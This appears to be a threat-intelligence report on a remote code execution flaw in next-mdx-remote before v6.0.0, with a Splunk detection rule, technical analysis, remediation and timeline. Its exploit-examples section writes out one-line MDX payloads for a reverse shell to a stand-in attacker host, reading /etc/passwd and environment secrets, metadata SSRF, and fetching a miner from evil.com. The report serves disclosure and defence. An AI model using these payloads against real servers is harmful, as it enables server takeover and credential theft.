Threat reportVulnerabilityTL-2026-0078
next-mdx-remote High-Severity RCE: Server-Side MDX Compilation Attack — 2.5M+ Weekly Downloads, HashiCorp Next.js Supply Chain Risk
A high-severity Remote Code Execution (RCE) vulnerability exists in HashiCorp's next-mdx-remote, a popular npm package (2.5M+ weekly downloads) used by Next.js applications to load and render MDX content from external sources. Versions prior to 6.0.0 allow arbitrary JavaScript execution during server-side MDX compilation when processing untrusted input.
Key facts
| Identifiers | TL-2026-0078 |
|---|---|
| Severity | HIGH |
| Weaknesses (CWE) | CWE-94, CWE-95, CWE-502, CWE-20 |
| Tools | next-mdx-remote versions 4.3.0 through 5.x — all versions before v6.0.0 with blockJS/blockDangerousJS defaults |
| MITRE ATT&CK techniques | T1005 Data from Local System, T1027 Obfuscated Files or Information, T1036 Masquerading, T1041 Exfiltration Over C2 Channel, T1046 Network Service Discovery, T1059 Command and Scripting Interpreter, T1068 Exploitation for Privilege Escalation, T1082 System Information Discovery, T1083 File and Directory Discovery, T1190 Exploit Public-Facing Application, T1195 Supply Chain Compromise, T1203 Exploitation for Client Execution and 14 more in the attack flow |
| Motivation | UNKNOWN |
| Target sectors | Technology, Software Development, Media, Education |
| Target regions | Global |
| Detection rules | 12 (1 shown free) |
| Sources | 6 cited sources |
Detection coverage
As of 2026-02-12, Threadlinqs Intelligence publishes 12 detection rule(s) for TL-2026-0078 across Splunk SPL, Microsoft KQL and Sigma, covering 30 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.
Free detection: next-mdx-remote RCE — MDX Injection Payload in HTTP Request Body
Detects MDX injection payloads in HTTP request bodies targeting Next.js applications using next-mdx-remote v4.3.0–5.x. Monitors for dangerous JavaScript patterns (require, process, child_process, eval, Function, export) in POST request bodies to Next.js API routes or content submission endpoints. MDX is compiled server-side by serialize() — any JavaScript in user-submitted MDX executes on the Node.js server. the attack simulation confirmed these patterns as the primary exploitation vectors. serialize(userInput) = eval(userInput).
- Language: Splunk SPL
- ATT&CK: T1190, T1059.007, T1195.001
- Data sources: proxy_logs, webserver_logs, waf_logs
- Severity: critical
- Confidence: high
Splunk SPL
index=proxy OR index=webserver (cs_method="POST" OR cs_method="PUT" OR cs_method="PATCH")
| eval body_lower=lower(cs_body)
| where (body_lower LIKE "%require(%" AND (body_lower LIKE "%child_process%" OR body_lower LIKE "%'fs'%" OR body_lower LIKE "%\"fs\"%" OR body_lower LIKE "%'os'%" OR body_lower LIKE "%'net'%" OR body_lower LIKE "%'http'%"))
OR (body_lower LIKE "%process.env%" OR body_lower LIKE "%process.exit%")
OR (body_lower LIKE "%execsync(%" OR body_lower LIKE "%exec(%" AND body_lower LIKE "%child_process%")
OR (body_lower LIKE "%eval(%" AND (body_lower LIKE "%export%" OR body_lower LIKE "%import%"))
OR (body_lower LIKE "%new function(%")
| eval injection_type=case(
body_lower LIKE "%child_process%", "CRITICAL — Command execution via child_process",
body_lower LIKE "%process.env%", "HIGH — Environment variable exfiltration",
body_lower LIKE "%require(%" AND body_lower LIKE "%fs%", "HIGH — File system access via require('fs')",
body_lower LIKE "%eval(%", "HIGH — Dynamic code evaluation",
1=1, "MEDIUM — Suspicious MDX pattern")
| stats count AS attempts, earliest(_time) AS first_seen, latest(_time) AS last_seen, values(c_ip) AS source_ips, values(cs_uri_stem) AS target_uris BY injection_type, cs_host
| sort - attempts
| table cs_host, injection_type, attempts, source_ips, target_uris, first_seen, last_seenKnown false positives:
- Developer documentation sites where code examples contain require/process patterns in body
- CMS preview endpoints used by trusted content authors
Tuning notes: Apply this detection to endpoints that accept MDX content — typically POST to /api/*, content submission forms, and CMS webhook endpoints. Reduce false positives by whitelisting trusted CMS admin IPs. For documentation sites discussing Node.js, use a separate content-type header check (application/json with MDX field vs text/markdown). The require('child_process') pattern is near-zero false positive in user-submitted content — any occurrence is HIGH confidence injection.
- next-mdx-remote RCE — Cloud Metadata SSRF from Node.js Application · unlock with TL Creds
- next-mdx-remote RCE — Outbound Reverse Shell from Next.js Application · unlock with TL Creds
- next-mdx-remote RCE — File System Access Outside Application Directory · unlock with TL Creds
- next-mdx-remote RCE — MDX Export Statement Injection in User Content · unlock with TL Creds
- next-mdx-remote RCE — Node.js Core Module Import in MDX Content · unlock with TL Creds
- next-mdx-remote RCE — Post-Exploitation Reverse Shell and Persistent Access from Web Application · unlock with TL Creds
- next-mdx-remote RCE — Suspicious Child Process from Node.js Server · unlock with TL Creds
- next-mdx-remote RCE — MDX Injection Payload in HTTP Request Body · unlock with TL Creds
- next-mdx-remote RCE — Environment Variable Leak in HTTP Response · unlock with TL Creds
- next-mdx-remote RCE — Suspicious Child Process from Node.js/Next.js Server · unlock with TL Creds
- next-mdx-remote RCE — Environment Variable Disclosure in HTTP Response · unlock with TL Creds
Indicators of compromise
As of 2026-02-12, Threadlinqs Intelligence tracks 30 indicators of compromise for TL-2026-0078.
Technical analysis
MDX (Markdown + JSX) inherently supports embedded JavaScript expressions ({variable}, {func()}) and JSX components, which are compiled and executed server-side by the serialize() function. Applications that pass user-controlled or externally-sourced MDX content to serialize() without sanitization are vulnerable to server-side code execution — enabling file system access, environment variable exfiltration, reverse shells, and full server compromise. HashiCorp addressed this in v6.0.0 by introducing blockJS (removes JS expressions) and blockDangerousJS (blocks eval, Function, process, require when JS is allowed) parameters, both defaulting to true. All versions 4.x and 5.x are vulnerable when processing untrusted MDX input. Discovered and disclosed via Socket Security.
SERVER-SIDE MDX COMPILATION AS AN RCE VECTOR
Next-mdx-remote is a widely-used utility for loading MDX content from external sources (databases, CMSes, APIs, git repositories) in Next.js applications. MDX extends Markdown with JSX component support and embedded JavaScript expressions. The serialize() function compiles MDX to JavaScript on the server — this is the vulnerability.
THE VULNERABILITY:
MDX is not just Markdown — it supports: 1. JavaScript expressions: {variable}, {func()}, {process.env.SECRET} 2. JSX components: <Component />, <Script /> 3. Import/export statements: import fs from 'fs' 4. Any valid JavaScript within curly braces
The serialize() function in next-mdx-remote compiles MDX source into JavaScript and evaluates it server-side (in getStaticProps, getServerSideProps, or API routes). Before v6.0.0, there was NO mechanism to block JavaScript execution during compilation. Any JavaScript in the MDX source would be compiled and executed with the full privileges of the Node.js server process.
ATTACK SCENARIOS:
1. CMS-SOURCED CONTENT: A Next.js blog or documentation site pulls MDX from a headless CMS (Contentful, Sanity, Strapi). If an attacker compromises the CMS or a content author account, they can inject JavaScript into MDX that executes on the Next.js server during build or request time.
2. USER-GENERATED CONTENT: Applications allowing users to write in MDX (documentation platforms, knowledge bases, collaborative editing tools) pass user input directly to serialize(). Malicious users embed JavaScript that executes server-side.
3. DATABASE-SOURCED CONTENT: MDX stored in databases (MongoDB, PostgreSQL) is fetched and compiled. SQL injection or NoSQL injection that modifies MDX content leads to server-side code execution.
4. GIT-BASED CONTENT: Documentation sites pulling MDX from git repositories (common in developer documentation). A malicious PR or compromised contributor injects JavaScript into .mdx files that executes during build.
EXPLOIT EXAMPLES (pre-v6.0.0):
- Environment variable exfiltration: {process.env.DATABASE_URL} - File system read: {require('fs').readFileSync('/etc/passwd', 'utf8')} - Reverse shell: {require('child_process').exec('bash -i >& /dev/tcp/attacker/4444 0>&1')} - Server-side request forgery: {fetch('http://169.254.169.254/latest/meta-data/')} - Crypto mining: {require('child_process').spawn('curl', ['-s', 'http://evil.com/miner.sh', '|', 'bash'])}
THE FIX (v6.0.0):
HashiCorp introduced two new parameters to serialize():
1. blockJS (default: true) — Removes all JavaScript expressions from MDX during compilation. When true, expressions like {variable} and {func()} are stripped. This is the nuclear option — safe but removes dynamic MDX functionality.
2. blockDangerousJS (default: true) — When blockJS is false (JS allowed), provides best-effort blocking of dangerous JavaScript: prevents access to eval(), Function(), process, require(), import(), and other dangerous globals. This allows safe expressions like {variable} while blocking code execution.
Both default to true in v6.0.0, making the secure configuration the default. Applications upgrading from v4.x/v5.x that rely on JavaScript expressions in MDX will need to explicitly set blockJS: false and rely on blockDangerousJS for protection.
IMPACT SCOPE:
Next-mdx-remote has approximately 2.5 million weekly downloads on npm. It is used extensively in: - Developer documentation sites (HashiCorp's own docs, Vercel examples) - Blog platforms built on Next.js - Knowledge base and wiki applications - Content-heavy Next.js applications with external content sources - JAMstack sites pulling content from headless CMSes
The vulnerability is NOT exploitable when: - MDX content comes only from trusted, developer-controlled sources (local files committed to the repo) - MDX content is pre-compiled at build time with no user input - The application uses only Markdown (no JSX/JS expressions)
The vulnerability IS exploitable when: - MDX content comes from external sources (CMS, database, API) - Users can contribute or edit MDX content - Content sources can be compromised (CMS account takeover, database injection) - MDX files are sourced from untrusted git contributors
MITRE ATT&CK techniques by tactic:
collection
T1005 Data from Local System; T1213 Data from Information Repositories; T1530 Data from Cloud Storage
defense-evasion
T1027 Obfuscated Files or Information; T1036 Masquerading
exfiltration
T1041 Exfiltration Over C2 Channel; T1567 Exfiltration Over Web Service
discovery
T1046 Network Service Discovery; T1082 System Information Discovery; T1083 File and Directory Discovery; T1580 Cloud Infrastructure Discovery
execution
T1059 Command and Scripting Interpreter; T1203 Exploitation for Client Execution
privilege-escalation
T1068 Exploitation for Privilege Escalation
initial-access
T1190 Exploit Public-Facing Application; T1195 Supply Chain Compromise
lateral-movement
T1210 Exploitation of Remote Services
impact
T1485 Data Destruction; T1496 Resource Hijacking; T1499 Endpoint Denial of Service
persistence
T1505 Server Software Component
credential-access
resource-development
T1587 Develop Capabilities; T1588 Obtain Capabilities; T1608 Stage Capabilities
reconnaissance
Remediation
Patches
- next-mdx-remote 6.0.0 — blockJS: true (strips all JS expressions), blockDangerousJS: true (blocks dangerous globals when JS is allowed)
- PR #498 (hashicorp/next-mdx-remote) — implements the security parameters
Immediate actions
- Upgrade next-mdx-remote to v6.0.0 — blockJS and blockDangerousJS default to true
- If upgrade is not immediately possible, sanitize all MDX input before passing to serialize() — strip JavaScript expressions ({...}), import/export statements, and JSX components from untrusted content
- Audit all code paths that call serialize() — identify which accept external/untrusted input
- Review CMS and database content for injected JavaScript expressions in MDX fields
- Ensure Node.js server processes run with minimal privileges — limit file system access, network, and environment variable exposure
Workarounds
- Pre-compile MDX at build time only — do not compile user-submitted MDX at request time
- Use a Markdown-only parser (remark/unified) instead of MDX for user-generated content — Markdown cannot execute JavaScript
- Implement a custom remark plugin that strips all JavaScript expressions and JSX before passing to serialize()
- Run serialize() in a Worker thread with restricted permissions to contain any exploitation
- If using v5.x, manually strip all content matching /{[^}]*}/ patterns before compilation (lossy but effective)
Longer-term hardening
- Implement content security policies for MDX: define an allowlist of permitted components and block all JavaScript expressions
- Separate MDX compilation into a sandboxed environment (container, VM, or serverless function with restricted permissions)
- Implement input validation at the CMS/database layer — prevent JavaScript injection into MDX content fields
- Deploy runtime application self-protection (RASP) to detect and block server-side code execution anomalies
- Consider using @mdx-js/mdx directly with custom recma plugins that strip dangerous code, rather than relying on library-level blocking
- Implement Content Security Policy (CSP) headers to limit the impact of any server-side compromise
Timeline
- HashiCorp publishes next-mdx-remote to npm — a utility for loading MDX content from external sources in Next.js applications. Quickly adopted by the Next.js ecosystem for documentation sites, blogs, and content-heavy applications. The serialize() function compiles MDX server-side with full JavaScript execution capability. Source: npm/GitHub
- next-mdx-remote v5.0.0 released with MDX v3 support and React 19 compatibility. JavaScript execution during server-side compilation remains unrestricted. Package reaches approximately 2.5M weekly downloads on npm. Source: GitHub CHANGELOG
- Security researchers identify that next-mdx-remote's serialize() function executes arbitrary JavaScript during server-side MDX compilation. Applications passing untrusted MDX input are vulnerable to RCE — environment variable exfiltration, file system access, reverse shells, and full server compromise. Estimated timeline based on v6.0.0 development. Source: Socket Security
- HashiCorp develops v6.0.0 security fix: introduces blockJS parameter (strips all JS expressions, default true) and blockDangerousJS parameter (blocks eval, Function, process, require when JS is allowed, default true). PR #498 opened for the 6.0.0 release. Source: GitHub PR #498
- next-mdx-remote v6.0.0 released with blockJS and blockDangerousJS parameters both defaulting to true. Breaking change for applications relying on JavaScript expressions in MDX — they must explicitly set blockJS: false and rely on blockDangerousJS for protection. Updated README documents the new security parameters. Source: GitHub CHANGELOG / npm
- Socket Security publishes disclosure of the high-severity RCE vulnerability in next-mdx-remote. HashiCorp releases v6.0.0 with security parameters. All v4.x and v5.x users processing untrusted MDX are urged to upgrade immediately. Threadlinqs catalogs as TL-2026-0078. Source: Socket Security / HashiCorp
- As of 2026-05-29, this remains a PATCHED next-mdx-remote RCE (now CVE-2026-0969, CVSS 8.8) fixed in v6.0.0 via default blockJS/blockDangerousJS, not in CISA KEV, with no observed in-the-wild exploitation. Vercel auto-blocks vulnerable deployments and no threat actor is attached, so the threat is no longer active.
Sources cited
- GitHub Advisory Database — next-mdx-remote Security Advisory GitHub · Advisory · 2026-02-12
- Socket Security: High-Severity RCE Vulnerability Disclosed in next-mdx-remote socket.dev · Vendor report · 2026-02-12
- HashiCorp next-mdx-remote v6.0.0 Release PR #498 — Security Parameters GitHub · Vendor report · 2026-02-12
- HashiCorp next-mdx-remote CHANGELOG — v6.0.0 Breaking Changes raw.githubusercontent.com · Vendor report · 2026-02-12
- HashiCorp next-mdx-remote GitHub Repository — Updated README with Security Documentation GitHub · Vendor report · 2026-02-12
- MDX Official Documentation — What is MDX (Markdown + JavaScript) mdxjs.com · Other
Previous and next in vulnerability
Further reading
AI-drafted from 6 cited sources; published ; last updated —.